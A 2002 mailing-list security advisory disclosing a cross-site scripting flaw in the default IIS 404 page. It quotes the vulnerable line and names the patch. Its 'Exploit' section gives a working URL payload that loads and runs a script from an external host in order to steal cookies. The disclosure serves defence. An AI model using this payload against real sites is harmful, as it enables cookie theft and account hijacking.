IIS allows universal CrossSiteScripting

From: Thor Larholm (Thorat_private)
Date: Wed Apr 10 2002 - 10:44:59 PDT

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    Thor Larholm security advisory TL#001
    -------------------------------------
    
    By Thor Larholm, Denmark.
    10 April 2002
    
    HTML format: http://jscript.dk/adv/TL001/
    
    Topic: IIS allows universal CrossSiteScripting. 
    
    Discovery date: 13 March 2002.
    
    Severity: Medium
    
    Affected applications:
    ----------------------
    
    Any IIS installation that hosts the default 404 error pages. This includes: 
    
    IIS 4 
    IIS 5 
    IIS 5.1 
    
    Impact:
    -------
    
    Stealing cookies from any IIS site, cross-domain scripting to any IIS site,
    hijacking Hotmail and Passport accounts, elevating priveleges through
    ActiveX components, hijacking the MSN Messenger client, etc. 
    
    Introduction:
    -------------
    
    CrossSiteScripting is a term that describes the injection of script code on
    foreign sites. A very likely scenario is where a malicious programmer would
    inject code on e.g. hotmail.com to steal a victims cookies, allowing him/her
    to hijack the victims email account. 
    The default installation of IIS is suspectible to such a CSS error. 
    
    Discussion:
    -----------
    
    Every time IIS encounters a HTTP 404 errorcode, it will display a "404 not
    found" page. 
    This HTML file uses scripting to output a link to the SERVER.TLD part of the
    URL, and by crafting a specially formed URL it is possible to include
    arbitrary script commands on the 404 page, thereby enabling
    CrossSiteScripting on any IIS site. 
    If we look at 404.htm we will notice a particular line of code: 
    
    
    document.write( '<A HREF="' + escape(urlresult) + '">' + displayresult +
    "</a>");
    displayResult is derived from the first instance of :// in the URL until the
    next instance of /. 
    This means that we will have to include our script code before the path part
    of the URL. To accomplish this we include our script code in the Basic
    Authentication part of the URL, but we first have to escape any special
    characters in the code. Any / character will end displayresult prematurely
    and any spaces will corrupt the DNS lookup, and we therefor replace any
    space with a TAB (%09) and any / with %5Cx2f (\x2f, as we will dynamically
    reference an external file). 
    
    Exploit:
    --------
    
    http://=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%
    5Cx2fjscript.dk%5Cx2ftest.js%27;">scriptat_private/SomeNonExistantPath
    The above will include and execute http://jscript.dk/test.js on YOUR.TLD,
    provided that YOUR.TLD is served by an IIS installation. 
    
    Solution:
    ---------
    
    Apply the MS02-018 patch (
    http://www.microsoft.com/technet/security/bulletin/MS02-018.asp ), or delete
    the default 404 errorhandler page. 
    You could also use the opportunity to make yourself a nice custom 404
    errorhandler page. 
    End-users can enable the "Show friendly HTTP error messages" option in IE. 
    
    Demonstration: 
    --------------
    
    I have put together some proof-of-concept examples:
    - Simple: Lists your cookies in a selection of Microsoft domains.
    - Advanced: get the cookies from any IIS site.
    - MSN: Discloses your MSN contactlist.
    
    These can be found at http://jscript.dk/adv/TL001/
    
    
    
    Regards
    Thor Larholm
    Jubii A/S - Internet Programmer
    



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